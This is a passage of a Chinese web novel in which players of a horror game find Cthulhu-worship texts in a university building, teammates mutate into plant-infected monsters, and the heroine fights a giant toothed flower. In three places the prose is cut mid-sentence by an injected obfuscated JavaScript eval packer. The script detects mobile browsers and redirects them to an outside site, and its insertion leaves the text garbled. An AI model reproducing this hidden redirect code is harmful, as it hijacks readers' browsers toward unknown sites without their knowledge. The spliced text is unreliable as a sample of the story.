木门对应的是一张巨大的讲台,黑板上用白色粉笔密密麻麻写着扭曲未知的陌生语言,那些陌生文字不是已知的任何能用来表达的符号,弯弯曲曲像一只只蠕动的白色驱虫,填满了黑板,几乎没留下任何空隙。 如果眯眼观察,能感觉到蛆虫似乎以某个点为中心,向漩涡一样往外侧书写,似是描绘着某种古老的祭祀仪式。 讲台下方是一排排长长的弧形木桌,木桌由低至高的向上方蔓延,座位上空无一人,却有书本规整地遗落在桌上。 大家大着胆子进入房间,阮钰看向桌上遗落的书本,书本几乎都是打开的状态,落了一层厚厚的灰尘。书本旁放着需要吸墨才能使用的铁制钢笔,这些钢笔都未被盖上,仿佛它们的主人只是短暂离开,却再也没能回来。 罗威连抖掉好几本书上的灰尘。 书本上写着未知的不明文字,和黑板上的某些字句有所重合,有所不同的是书本上多出了一张图。 魏柏图的手电照着书上的图画,那是占据了整整半页书的黑白色图案—— 一个长着鱼的脑袋、人类的身体、身后数根章鱼触手扇形张开、触手上长着几百个恐怖眼球的未知生物。 丑陋的形象看的所有人同时干呕。 陈老虎大喊:“我的天啊,这是啥东西,也太恶心了……” 罗威一脸想吐不能吐的难受表情,在他带来的本子上快速动笔,难得的没有说话。 阮钰强忍着呕吐感,用手机快速给黑板上和书本上的内容拍了照片。 罗威撇了她一眼,没说什么。 田野和卢远四处打量,没和阮钰他们一起调查,而是充当警备角色,警惕着黑暗中可能出现的任何异常。 “咯吱——嘎吱——” 奇怪的异响在安静的空间里突兀响起,所有人立刻抬头,精神瞬间紧绷,几根手电筒齐刷刷地照向声音的来源方向,罗威快速摸上了他腰间的武器。 “呃……” 门前站着两个人,社会青年和地中海,俩人一个叼着手电,一个拿着小刀,正挖着刻字铁牌上镶嵌的宝石。 田野和卢远当场炸毛,怒吼:“你们两个在干什么!” 社会青年没敢吱声,地中海厚着脸皮把刚挖下来的宝石宝贝地揣进衣服内侧的兜里,翻了个白眼:“大惊小怪什么?老子想赚点外快,关你毛事?” 罗威被气笑了:“这座建筑说不定是什么诡异生物搞出来的,你们连鬼的便宜都占,真不怕死啊?” 地中海不屑:“你爹妈牛逼,你当然不愁钱啊!老子二十多岁加班加成四十多的秃顶,为的不就是赚钱买房?不关你的事就少插嘴!” 社会青年没有他那么厚的脸皮,揣好刚挖下来的宝石后小跑到罗威身边,嘿嘿笑道:“那啥,我家穷,实在没办法……诶对了,你们在看啥啊?卧槽这啥玩意这么丑?古旧时代之异域神……氏?这他妈是个神明画像?” “神氏?神祇吧?文盲……”魏柏图小声哔哔,说完后便愣神了几秒钟,猛然抬头:“不对?你认识这上面的字?” 8. 神谕降临 阮钰和罗威同时投去震惊的目光。 社会青年被看得有些不自在,摸了摸脖子,尴尬说:“呃,这上面不都是汉字吗?” “汉字?”罗威重复,“你确定吗?” 社会青年忙表态:“罗哥,我糊弄你干啥啊,这些东西我看着都是汉字啊,难道你们看到的跟我不一样吗?” “确实,我们看不到这些字,需要你帮个忙。”阮钰拍了下罗威的肩膀,对社会青年说:“可能你某些属性比我们强吧。” 罗威震惊于阮钰睁眼说瞎话的能力。 社会青年被糊弄的嘿嘿笑,挺起腰板,自告奋勇:“行!放心!” “好好干,加油。”阮钰微笑。 社会青年壮着胆子,踩上讲台,手指无意识的抚摸上最中央的位置:“这些字为什么是从中间往外写的?……哪个正常人会这么写字?” 他小声的抱怨着,呢喃出他所看到的文字内容: “蓝星历十亿三千年,伟大的克苏鲁大人降临蓝色沃土,浩瀚海洋无边无际,大陆稀少,克苏鲁大人寄存汪洋大海之中……汲取着蓝色沃土的能量,赐我等先祖降临……” “克苏鲁大人自称异域之神……敬仰神明,先祖获得了赐福,即超越时间的寿命……” “克苏鲁从未离开,这是……眼?……不,这是门,这是祂注视信徒的门……但真的是‘注视’吗?不,祂不会用如此粗浅的方式……” 所有人都被吓得屏息凝神,陌生又惊恐地注视着明显变得越来越疯癫的讲台上的年轻人。 年轻人的身体几乎要趴在墙上,他那一头扎眼的黄色头发竟然在弯曲着,隐约和图画上的丑陋触手重合…… 社会青年的声音越发癫狂,低沉地呢喃着他能看到的一切文字,他说的磕磕绊绊,不是不认字,像是在接受着某种断断续续的讯息。 除了他的说话声外,就只能听到罗威的笔在本子上快速书写的沙沙声。 “这里是克苏鲁大人的坐标……?不,是频率?……也不对……” “哦哦哦!这是祂所需要的祭品数量!供养祭品,祂便能召唤祂离散的古老的信徒的回归……” “理智与人性的共鸣……疯狂与颠倒的共振……在完成第十三个循环时,便能……不,这不是我能知晓的了……我决不能如此冒犯大人……” 社会青年猛然转头,他的嘴巴张到诡异的大小,血色的嘴唇几乎和那些被怪花寄生的感染者一模一样,他夸张地大笑着,目光死死地锁定在阮钰身上,用一种所有人都无法理解的语言尖叫: “你知道的,你已经看到了!‘祂于色彩中诞生’,祂的使者找到你,向你传达祂的神谕……你不是唯一,但你是祂最关注的……” “祂每日都在呼唤你的回归……你不是祂的信徒,但祂原谅你……祂想见,故你存在……” 有人看向了她。 探究的目光从四面八方而来。 阮钰既不回答,也不打断,只微微皱了下眉。 社会青年朝其他人激动地大喊: “我们需要钥匙!我们要见祂!祂在邀请我们!祂在引导我们!……只有找到钥匙,我们才有资格膜拜……对啊,钥匙……” “可钥匙在哪里呢?……或许,我们自己就是钥匙……” “我们要……啊啊啊啊!” 话没说完,社会青年被阮钰一脚踹飞,整个人从讲台上飞了出去,撞翻了几张桌子才堪堪停下,肋骨断裂的疼痛让他发出杀猪般的嚎叫。 “清醒了吗?”阮钰走到他身边,面无表情地问道。 社会青年捂着肋骨,委屈地掉眼泪:“不是你们让我翻译的吗?我也没说啥啊!你怎么还打人呢……” 他没意识到自己的异常,甚至满心都是被队友殴打的委屈。 他试图想跟阮钰辩解,但肋骨钻心的疼提醒着他:这个女人的战力非常恐怖,不是他这个小卡拉米能对付的。 社会青年憋屈地从地上爬起来,意犹未尽地看了眼黑板的内容,看起来还想再发癫,阮钰又一巴掌给他彻底扇醒了。 “好了,打完了吗?打完了就说说你的问题。”罗威锐利的目光盯着她的脸,用一种似笑非笑的语气讯问:“他说你被选中了,你已经看到了,你到底看到了什么?” 如果说他之前在试探,现在就是不容置疑的笃定。 所以异常都必然有迹可循。 阮钰绝对有问题。 其他人全都默不作声,无声的注视着她。 阮钰已经猜到她会面临质问,也想好了回答。 承认是不可能的,这些人她一个都信不过,包括罗威和陈老虎。 她不相信同伴,也不需要这样的同伴。 他们要么用暴力胁迫她,要么就什么都别想知道。 但阮钰最不怕的就是暴力手段。 她天生携带着难以控制的暴虐基因,为了能控制自我,她小时候就拜了师父,在武馆学习了整整十五年,又有三年武术指导的经历。长达十八年的习武生涯让她敢于冷静面对可能出现的各种暴力胁迫。 阮钰镇定自若:“没有,我什么都没遇到过。” “没有?”罗威意味不明地呵笑:“那‘它’为什么偏偏指着你?” “一个疯子的疯话,你居然相信了?”阮钰歪头,不解地问他:“我觉得我的危险程度应该比被污染的疯子低很多吧?” “当然,如果你们实在怀疑我的话,我也可以脱离队伍,单独行动。”她两手一摊,毫无畏惧地说。 陈老虎和魏柏图同时挽留:“别,不至于啊。” 在“被污染的疯子的疯话”和“一个战力强大且逻辑清晰的优秀队友”之间,他们毫不犹豫的选择了后者。 队伍成员本来就少了两个人,如果连强大的阮钰都离开的话,剩下他们这些人能成功过关的概率几乎等于零。 罗威沉默地注视着她,确认她的言谈举止正常后,突然同时伸出食指和中指,抵在他的眼镜上,笑眯眯地说:“我会一直看着你的,阮钰。” 阮钰回以礼貌微笑:“自便。” 二人的交锋很短暂。 打破僵滞气氛的是地中海。 “说的什么乱七八糟的……”地中海骂骂咧咧地走上来,推开挡路的人,目的明确地拿起书,嘴里絮絮叨叨:“小老弟说的没错啊,我看你们都是活够了,连神谕都不放在眼里……迟早给你们都宰了……” 他表现了出和社会青年相似的异常行为。 地中海翻着书,阮钰清楚地看到他嘴角咧开,没被眼镜挡住的下半张脸扭曲着,喉咙里传出不属于他的低沉声音,那声音呢喃着,像是来自亿万年前的深海巨兽的吼叫: “不要抗拒祂,不要抗拒自己的变化,那是必须踏入的进化之路……” “我们都是祂的信徒,我们祈祷并服从于祂的神谕,在深海,在苍穹,在极暗的无间之地……祂无处不在。” 随着他的语调昂扬起伏,其他人手里的手电筒散发出的微弱光芒出现了不可察觉的光芒波动。 刚安静下来的社会青年紧跟着露出痴狂的表情,四肢不受控制地挥舞着,如同疯癫的异教徒在进行某种仪式。 诡异不安的气氛在寂静的黑夜中蔓延,无孔不入地钻进所有人的肌肤与骨骼中,心脏像是被一只大手紧紧地攥住,无法跳动。 阮钰望向刻字铁牌上因宝石被挖走而留下的丑陋空洞。 “……宝石也携带了异常吗?”她默默思索,“如果穹顶之光是异常,那被它一直照耀的宝石也可能沾染上了异常,所以这栋建筑的东西是不能碰触的……” 在她思考的时候,其他人被强制陷在地中海的疯狂呓语中无法自拔,他们的大脑和心脏同时出现了极其强烈的疼痛感,每个人都想从异常状态中摆脱出来,但他们的手脚僵硬得无法动弹,只能被迫接受着无望的折磨。 阮钰回神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卢远捂着脖子,脸和脖子上的肌肤因剧烈的咳嗽而泛着红色,表情惊恐:“我们得赶紧走,这里太邪了。” 其他人立刻忙不迭的点头赞成,恨不得立刻离开。 只有陈老虎指了下扒着书一动不动的地中海,“那我们不管他了吗?” 罗威冷哼:“管不了,他自找的。” “这……要不还是试试?”陈老虎挠挠头,“虽然我挺烦他的,但他咋说也是个大活人,咱不能见死不救啊……” 罗威不语,不过也再阻止。 陈老虎一把扯走地中海的书,学着阮钰的操作,几个大嘴巴子啪啪扇过去,把地中海扇的嘴歪眼斜,鼻血狂流。 其他人刚在濒死边缘徘徊回来的怨气随着这几个嘴巴子散了不少。 剧烈的疼痛和羞辱感让地中海瞬间脱离了疯癫的状态,一骨碌爬起来,大骂着冲向陈老虎:“大个子我他妈忍你很久了!老子他妈的弄死你!” 结果就是陈老虎仗着一身腱子肉,把地中海的手反剪在身后,胜负立分。 “赶紧走吧。” 罗威率先退出了房间,其他人快步跟上,陈老虎垫后,他走出来后把门重重地关上,力道大得像要把所有的污染和异常都锁在屋子里。 离开房间,社会青年和地中海看起来也没正常多少,俩人凑在一起,不知道神神叨叨地念叨着什么,但此刻也没有人想理会两个已经表现出明显异常的队友,甚至都警觉地攥着自己的防身武器,防止二人出现攻击行为。 第二层只剩最后一个房间。 陈老虎咽着口水,一步一挪地走到那扇门前。 从花纹到刻字、再到宝石镶嵌的位置,两扇门看着毫无区别。 “他大爷的,整的我都不敢开门了……” 陈老虎手心出汗,草草地在衣服上抹了一把,再次拧开门…… 和刚刚的教室是一样的布局、一样的大小、黑板上也写着一样的内容。 但是。 这间教室座无虚席。 几十双没有眼白的眼睛同时转向阮钰他们。 9. 危险分子 阮钰不知道该怎么形容眼前的场景。 在一模一样的教室里,一朵巨大的怪花站在讲台上,至少有两米半那么高,几乎要把屋顶撑破,花瓣完全绽开,数圈森白色的牙齿在花瓣中心成旋涡状分布,花萼下的枝条混乱地扭曲着,两根长长的叶瓣在空中挥舞,像正在激情演讲的人类讲师一样,下面的感染者们是它最顺从的“学生”们。 讲台下方是从低至高蔓延排开的桌凳,每一张桌子后都直挺挺地站着一个个“人”。 那些“人”的模样各不相同,都有着同样的没有眼仁的恐怖眼睛,它们的嘴巴张成圆形,裂开的嘴角处流下来的不是血,而是一根根细长的植物触须。 怪花“讲师”在给“学生们”授课,“学生们”站立着沐浴知识的光辉,并“友善”邀请不慎闯入课堂的不速之客: “欢迎来到真正的人间——” “人”们脖子里的东西疯狂地蠕动着,发出了不同音色、相同声调的声音。 空荡的走廊里回荡着它们的呼唤,恐惧如附骨之蛆紧紧缠绕着所有人的理智之弦,让他们的大脑同时迸出同样的想法: 跑!赶快跑! “往后撤!” 陈老虎低吼,壮硕的身体像座压下来的大山,逼迫大家往后退,刚被他推开的门又被“砰”的一声狠狠关紧。 他的力气很大,门框发出松散到将要崩裂的声音。 “太吓人了……” 魏柏图吓得脸色惨白,手无意识的摸着心脏的位置,嘴唇哆嗦着低声哑语:“全都是感染者,至少六七十个……为什么屋子里会长出怪花啊?它们在干什么?上课?” “这是什么大学?哪有大学是这样的?我想……” 他喉咙滚动,把“回家”二字生生的咽回肚子里。 田野惊魂不定地扶着墙,一人疯狂咽着口水,过了好一会儿才勉强能说出话:“可……里面的东西会不会就是我们要找的【邪神信徒】啊?” 卢远附和:“是啊……咋说咱们也得找任务线索,总不能因为吓人就放弃了吧?” 他们说的不无道理,怪花和感染者之间的关系和【邪神】与【信徒】非常相似,这间教室也符合任务地点要求的【里斯曼大学】,难得出现如此有价值的线索,因为害怕就轻易放弃也实在太不值得了。 可要让大家闯进足有几十上百个感染者的房间,用命去测试线索的真实性,跟主动投靠死神的怀抱没什么区别。 局面僵住。 所有人心知肚明,他们该进门对付那群感染者,然后收集任务线索。可人类本能的求生欲让他们迈不开脚。 连一贯冷静有主意的罗威都陷入了沉默。 “你们在干什么?!” 一道亢奋的声音骤然高响:“祂在召唤我们!你们怎么能怠慢伟大的神明!” “跟我们走,我们去奔赴真正的人间!” 地中海似乎彻底陷入疯魔状态,他脑袋上的窥神眼镜不知道什么时候被摘下去了,扔到了未知的地方,露出他的本容—— 一个年轻但秃顶的、戴着方框眼镜的男人。 他兴奋地手舞足蹈,眼球暴突,几乎要挤出眼眶,像只大眼睛的蟾蜍,眼白渗着恐怖的血丝,漆黑的瞳孔疯狂颤抖、上翻。 他的表情崩裂,仿佛有一把刀把他劈成了两个人,左边的眼睛流着泪水,脸上全是痛苦扭曲的表情,嘴角颤抖着不断重复三个字: “杀了我,杀了我……” 右边的眼球激动地继续上翻,嘴角大大地张开,直到皮肤撕裂,粉红色的血肉外翻,从血肉深处慢慢长出植物根须,偏偏他还保持着人类的血肉之躯,外翻的皮肉和猩红的鲜血、诡异的植物根须纠缠在一起,彻底证实他已被污染的事实。 “啊……啊——啊!!杀了我啊!” 左半张脸似乎短暂地战胜了理智,他发出痛苦的哀嚎,声音是从未有过的颤抖和后悔:“杀了我!我不该贪婪……我怎么能妄想触碰它的身躯……快杀了我!呃!” 随着一声痛苦到极致的哀嚎,他的眼球彻底翻到了眼眶后方,纠缠着血管的眼白空洞地注视着世界,属于地中海本人的声音彻底消弥,取而代之的是他脖子上蠕动的诡异起伏,与僵硬死板的呢喃: “欢迎来到真正的人间……” 玩家们目瞪口呆地看着这一幕。 除了阮钰因见过林家父女和“卫曦”变异的画面,而显得过于冷静外,其他人还是第一次亲眼看到人类是如何活生生的被感染成怪物的,他们第一次知道原来感染者们的白色眼球是被这样“制作”出来,手段暴力血腥到让他们难以忍受,纷纷出现了不同程度的崩溃。 魏柏图年纪最小,崩溃的程度最深,他抓着自己的头发,痛苦地蜷缩在地上,无法接受自己的同类居然在短短的几秒钟内就轻易的变成了陌生的怪物。 两个最初吵架的玩家在巨大的冲击下化干戈为玉帛,他们再也没有了任何矛盾和分歧——比起活生生的死亡,意见相左算屁大点事。 陈老虎和罗威崩溃的没那么严重,但现在也是四肢僵硬的状态,根本做不出任何有效的反抗。 阮钰快速拔出匕首,走到变异的地中海面前,锋利刀刃快速划开他脖子上蠕动的部位,刚变异的地中海立刻倒地,身体向后对折,脑后和脚跟紧紧地贴着,甚至能听到他脊椎被折断的清脆响声。 划开的伤口处蔓延生长出一朵妖冶的小花苞,盘旋在地中海的尸体上,静静地绽放着。 “你怎么会……不,是应该这么做的。”罗威恢复了神智,迷茫的目光看向动作利落的年轻女生,不明白她的动作为什么如此娴熟,但面对阮钰镇定到几乎没有人性的脸,他竟然笑了出来。 “你做的很好,你一定能活下去……如果不是你以前就杀过人的话,那你一定是个潜藏的危险分子。” 没有一个正常人类在杀人的时候能如此镇定。 即使对方只是怪物,但同类残杀始终是违背了人性的行为,何况阮钰还那么年轻,她至少至少也应该表达出几分情绪才对。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449226|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,她真的冷漠到不像个人类。 “放心,我是个戴着面具的良民。”阮钰用他的话回答了他。 她没心情跟罗威探讨人性问题,目光在地上逡巡,寻找着地中海丢失的窥神眼镜,最终在门前社会青年的手上看到了两副一样的玄色眼镜。 社会青年站在第二扇门的前方,他身后的门不知道什么时候打开了,露出里面群魔乱舞的景象。 他摘掉了地中海的眼镜,也摘掉了他自己的眼镜。 他已经完成了变异。 “没有了窥神眼镜的阻挡,他们被污染的速度加快了。”阮钰笃定的说。 上一间屋子只对他们的精神造成了部分影响,绝不至于让他们在几分钟内转化成感染者,否则他们也不会被陈老虎的几个耳光就扇清醒。 但……到底是什么时候? 社会青年到底在什么时候得到了“要摘掉窥神眼镜”的信号的? 是在走廊? 和头顶的色团有关系吗? 短短的几秒钟内,阮钰的大脑已经快速思考了无数问题,她努力整理着时间线,记住了每一刻所处的场景和每个人的反应,最后快速转头看向穹顶—— 色团依旧散发着艳丽的奇异色彩。 它漂浮在空中,像肺泡一样的呼吸着,身上的光芒更加耀眼了。 “都怪我……”陈老虎回神后自责地说:“如果不是我烂好心,非得把他们带出来,咱们也不能……我就该把他关在那屋里的……” 阮钰掂着匕首,一脚踹醒魏柏图,抽空说:“先别说没用的废话,门已经开了,只有解决这些东西,咱们才能离开这层楼。” 她快速看了眼时间。 2:00 随着门被打开,里面“上课”的感染者们得到了某种讯号,迈着僵硬的步伐冲了出来。 阮钰提着匕首冲向已经异化的社会青年。 她抬刀,落刀,把扭曲的尸体一脚踹开。 动作干脆流畅,像是重复了几千万次。 有她带头,其他人明白了自己当下要做的事,纷纷拿出防身的武器,一只又一只地砍着冲出来的感染者们。 阮钰已经表演了清除感染者的方式,他们只需要模仿。 万幸的是这些感染者的行动缓慢,没有实质性的伤害行为,它们目的似乎只是要摘下玩家头顶的窥神眼镜,所以清除起来并不算特别费力。 只要迈过了自相残杀这个坎,杀再多感染者都成了重复的机械性动作。 陈老虎自责于他的决策拖累了团队,因而砍人的动作格外的用力。 阮钰心里默数着数量。 八十只。 屋子里一共有八十只感染者。 还有一朵始终在讲台上蠕动的怪花。 2:07 八十只感染者被全部清除。 留给他们的时间只剩三分钟。 楼梯还没出现,说明他们还没有找到离开这层楼的关键。 阮钰看向了那朵仅剩的怪花。 10. 声波攻击 怪花伫立在讲台上,下半部分生长出粗壮的根须,根须深深插入地面。 高到能捅穿屋顶的花瓣张开,黑洞洞的嘴巴朝着玩家们的方向张开,嘴里不断地涌出粘稠状的液体,像涎水一样垂在牙齿上。在旋涡状的利齿深处,盘踞着在黑暗中蠕动的未知生物。 环境很黑暗,周围没有任何光源,唯一的光亮来自玩家们手中的手电筒,但手电筒被某种东西影响了,每个都是一副电量快要耗尽的样子,半死不活地散发着能见度不足一米的微弱光芒。 再加上窥神眼镜附带的鲜红色滤镜,让阮钰更看不清那生物的模样,但心底迸出的熟悉的不安和恐惧感在直白的告诉她:决不能让那东西爬出来,否则一切都来不及了。 “必须杀了它。” 阮钰的声音变得冰冷且毫无感情,她没有讨论的意思,而是用一种不容置疑的语气下了“命令”: “我们必须杀了它。” 四人同时向她投去不解的眼神。 二楼只剩这么一只怪物,楼梯还没出现,大家目前唯一能做的就是杀怪,阮钰没必要用如此郑重的语气反复强调。何况她不像是会重复废话的人。 只有罗威听懂了,她不是在对其他人发号施令,她命令的人自始至终都是她自己。 她为什么要这么做? 怪花没给他们留下思考的时间,在最后一只感染者身上的怪花被砍断的时候,它已经开始酝酿起了它的第一次攻击。 它的花瓣开始发出无声的、高频率的颤抖。震颤的幅度十分微小,要不是看到了花瓣上隐约出现的重影,阮钰根本不可能用肉眼捕捉到这丝难以察觉的异常。 可这不意味着安全,反而是另一种难以想象的危险。 ——当振动快到一个恐怖的临界点时,能量不再用于制造大幅度的摆动,而是进行疯狂的加速。当速度同样也快到一种极限时,人类的肉眼将无法捕捉。 这样就造成了一种现象,某样东西分明在以极快的速度重复运转,但在人类眼中它却始终处于静止状态。 阮钰的物理成绩很烂,她不知道这是什么物理现象,但清楚这是个极其危险的信号。 下一秒,身体上的痛苦彻底占据了她的所有感官。 牙齿传来明显的酸麻感,和骨骼连接处的神经似乎被某种频率带动着发出不受控制且违反常理的颤抖,同样出现异常的还有她的眼球、她的骨骼、她所能感觉到的所有血肉和神经。 痛苦让她忍不住捂着头倒在地上,遍布全身的疼痛让她彻底脱力,匕首当啷一声摔在楼板上,发出金属和木板接触的闷重声音。 阮钰感觉自己的眼球在充血、胀大,像要突破眼眶的桎梏,入目可见的所有东西都是血红色的,那不是窥神眼镜的滤镜带来的红色,而是足以夺走她生命的恐怖颜色。 耳朵里充斥着刺耳的嗡鸣声,周围的声音被无限缩小,她几乎什么都听不见、看不见,仿佛置身于无人的黑暗之地,即将被活生生地折磨致死。 她的队友和她面对着相同的处境,但其他人的反应没有她那么强烈。罗威几人只是控制不住地跪在地上,痛苦地抱住脑袋。即使如此,眼睛充血和耳鸣以及牙齿的酸疼、骨头的颤抖已经让他们难以忍受,在这种痛苦面前,连死亡都显得美好起来。 罗威咬着牙关,拼尽了全身的力气才能喊出声音: “这是声波攻击!” “阮钰!告诉我你看到了什么!” “我们该怎么做!” 极度的痛苦让他无法收敛力量,几句话被他喊得歇斯底里。 魏柏图疼得表情扭曲,他拼死压着自己跳的越来越快的心脏,窒息感憋红了他的脸,求助地看向倒在地上的阮钰。阮钰比他痛苦的多,她死死地抱着脑袋,身体蜷成一团,嘴巴张着,发出无声的嘶吼。 “她听不见!”魏柏图大喊,“她看起来很难受!” “杀了那朵怪花!”他想到了阮钰之前的话,“只能杀了那朵怪花!” 罗威气的大骂:“我们没有行动能力了!这是声波攻击!只有阮钰知道怎么回事,只能指望她!” 魏柏图大声嘶吼:“可是她听不见!” 罗威露出了绝望的表情。 地上,阮钰忍着无法形容的痛苦,她陷在自己的世界里,强撑着最后一丝理智,试图张嘴发声。 “……攻击‘嘴’。” 比起罗威和魏柏图的嘶吼,她的声音小如蚊呐。 阮钰现在什么都看不见、听不见,极致的疼痛混乱了她的思维和意志。她不知道自己是不是身处怪花所在的二层楼梯,也不知道她的队友是死是活。 可她只能重复着这句话,希望身边能有还活着、并有能力攻击怪花的队友,希望队友能听到她的话,把她从这种痛苦中解救出来。 魏柏图离她最近,耳鸣让他无法听清阮钰说了什么,他忍着痛苦,四肢并用地爬到阮钰身边,用耳朵对准她的嘴,大喊:“钰姐!你说什么!” “……‘嘴’里有东西……攻击那个东西……” “……那是它的弱点……” 魏柏图惊喜地抬头,“钰姐说攻击它的‘嘴’!” 另一个玩家跪在地上痛苦地大喊:“知道了有什么用啊!我们动不了!我们只能等死!” 陈老虎是唯一在试图对抗声波、攥紧菜刀、试图攻击怪花的人。 他忍着痛苦,跌跌撞撞地爬起来,迈着沉重的步伐走向怪花,刚走出一步就又重重地摔在地上,所有骨骼和肌肉都不再听从大脑的指令,他只能无望地看着近在咫尺的怪花,露出绝望的等死的表情…… “砰!” 一声枪响后,子弹击中了怪花幽黑空洞的黑色花蕊。 颤抖的花瓣迅速静止,旋涡状的森白色牙齿瞬间闭合,以恐怖的速度挡住了子弹。困扰着玩家们的无声频率随之停止,所有痛苦瞬间结束,失控的骨骼和肌肉重新注满力量。 神智快速恢复,痛苦消弥,阮钰后知后觉地看向枪声的源头。 罗威单膝跪在地上,手臂伸直,举着漆黑的手枪,黑洞洞的枪口飘着无色的硝烟。 他满头大汗地朝阮钰扯出难看的笑容:“你早点说,也不能那么难受。” 阮钰扶着脑袋:“那你下次记得提前告诉我你有这玩意。” 罗威拒绝:“这个不行。” 阮钰只用几秒钟就调整好了状态,她拿起掉落的匕首,发现队友全都倒在地上恢复力气。她快速走到每个人身边,匕首毫不留情地在他们的胳膊上划出一道两厘米长的伤口,真实的疼痛立刻冲淡了痛苦导致的恍惚感,所有人都痛呼着爬了起来。 “时间不够了,快点。” 阮钰催促他们,自己率先冲向短暂陷入沉静的怪花。 陈老虎瞪眼:“大妹子你也太残暴了!……等我会儿啊!” 他的身体素质最好,恢复的也最快,提着菜刀跟上阮钰的步伐。 怪花遭受攻击后就不再动了,原本漆黑的‘嘴’被森白色的牙齿保护起来,罗威又朝着怪花的牙齿开了一枪,子弹被弹飞,他脸色复杂地说:“这下难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449227|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办了……” 子弹打不穿怪花的防御…… 阮钰迈着坚定的步伐,在她靠近怪花两步以内的范围时,怪花像是收到了某种讯号,旋涡状的牙齿层层打开,从里面传出嘶哑尖锐的叫声,与此同时花萼下的枝条快速生长,坚韧且扭曲的枝条快速伸向阮钰的方向,试图缠住她的四肢。 阮钰的反应速度很快,在枝条朝她伸出来的瞬间就往后跳了一步,顺便扯了把陈老虎,即使如此仍然有一根枝条缠上了她的脚腕,随着“嘶”的一声怪叫,枝条快速收紧,阮钰整个人被倒吊在两米多高的空中,和怪花脸对脸地互相凝视。 怪花的枝条缓慢地行动起来,它在拉着阮钰朝自己的“嘴”靠近,明显想要把她吞掉。 “钰姐!” “老妹儿!” 魏柏图和陈老虎大喊,陈老虎提着菜刀狠狠劈向怪花花萼下新生长出的枝条,锋利的刀刃崩出了缺口,枝条却只是留下了一道浅浅的划痕。 “这他妈是什么玩意!”陈老虎怒吼,“连他妈的菜刀都不怕!” 罗威再次开枪:“躲开!” 砰! 子弹飞向缠住阮钰脚腕的枝条,在枝条上只停留了极短暂的时间就被弹了出去,势能没有消散的子弹击碎了室内一侧的玻璃窗,发出哗啦的玻璃碎裂声。 “操!” 罗威急躁怒骂。 吊在空中的阮钰清楚地感觉到她脚下的枝条出现了极短的颤动,怪花花蕊深处的异常生物似乎也跟着狠狠地抖了一下…… 颤抖持续的时间只有短暂的零点几秒,快得好像是她紧张之下产生的错觉。但阮钰并不打算把它真当成错觉对待,她清楚,这种情况下,每一次判断和选择都会带来无法预测的结局。 阮钰大脑飞速运转,回想刚刚这一瞬间发生的所有事情。 菜刀砍中枝条,子弹击打枝条,玻璃碎裂…… 玻璃! “玻璃!”阮钰大喊,“击碎玻璃的声音会让它‘恐惧’!打玻璃!” “好!”罗威来不及思考其中的逻辑,枪口转向玻璃,却被身边的队友握住枪膛。 “省点子弹,后面还有不知道多少关卡呢。” 两个队友和魏柏图头也不回地冲进空荡的教室,每个人手里都拿着防身的武器,他们警惕地绕开怪花所在的讲台,冲到玻璃窗前,铁质武器重重砍在窗上,刺耳的玻璃破碎声哗啦啦地不断响起。 怪花发出了更加明显的颤抖,缠着阮钰脚腕的枝条疯狂地颤动着,虽然没有放开她的意思,却也没能再把她拉到自己的“嘴”里。 “有用!”阮钰快速脱下上衣,用上衣把匕首紧紧地缠在腰上防止掉下去,在趁机逃跑和一探究竟中短暂思索了一秒钟,对花萼下的陈老虎喊:“把手电筒给我!” 陈老虎立刻把手电筒扔了上去。 阮钰接住手电筒并叼在嘴里,脚腕用力,利用枝条束缚她的力量把身体荡了起来,随着荡的幅度越来越高,她小腹用力,借着荡起来的力量弯腰抓住了自己的腿。 她右手抓着腿,稳住身体不再晃动,左手拿着手电,快速照向漆黑的花蕊深处。 即使手电筒的照明度低,这个距离也足够她看清里面到底是个什么东西了。 “滋滋……” 在白色的光芒照入漆黑花蕊的瞬间,里面传来烤肉的滋滋声,同时冒出白烟,里面的生物发出凄厉地惨叫声,它疯狂地抽搐着,连带着整朵巨大的怪花跟着上下颤动。 在短短的一瞬间,阮钰彻底看清了里面的生物—— 11. 任务真相 那是一个四肢细长、浑身都是粘液、长着一只眼睛的黑色的未知生物。 它的身体和被杀死的感染者一样扭曲,细长像烧火棍的四肢缠在一起,只有一个脑袋露出来,眨着仅有的一只眼睛。它的眼睛从额头长到下颚,仅有手掌那么宽,眼球上有三个瞳孔,正在怨毒地瞪着阮钰。 “好恶心的东西。” 阮钰忍住胃部翻涌的呕吐感,迎上怪物狠戾嗜血的三只瞳孔,冷笑着把手电筒的光芒怼到它的眼球上。 “嘶嘶!” 怪物的眼球在接触到手电筒光芒的瞬间立刻被融化了一个明显的圆形伤口,融化的白色脓液混着它身上的黑色粘液,顺着怪花的森白牙齿慢慢滴落到地上。 怪物的细长四肢哀嚎着捂住自己的眼球,它疯狂地抽搐着,手竟然有意识地摸着怪花的旋涡状牙齿,似乎想让牙齿闭合,逃避手电筒的直射,可魏柏图他们那边不断响起的玻璃碎裂声刺激着怪花,它只能徒劳无功地颤抖。 “这玩意不仅怕声音,也怕光。” 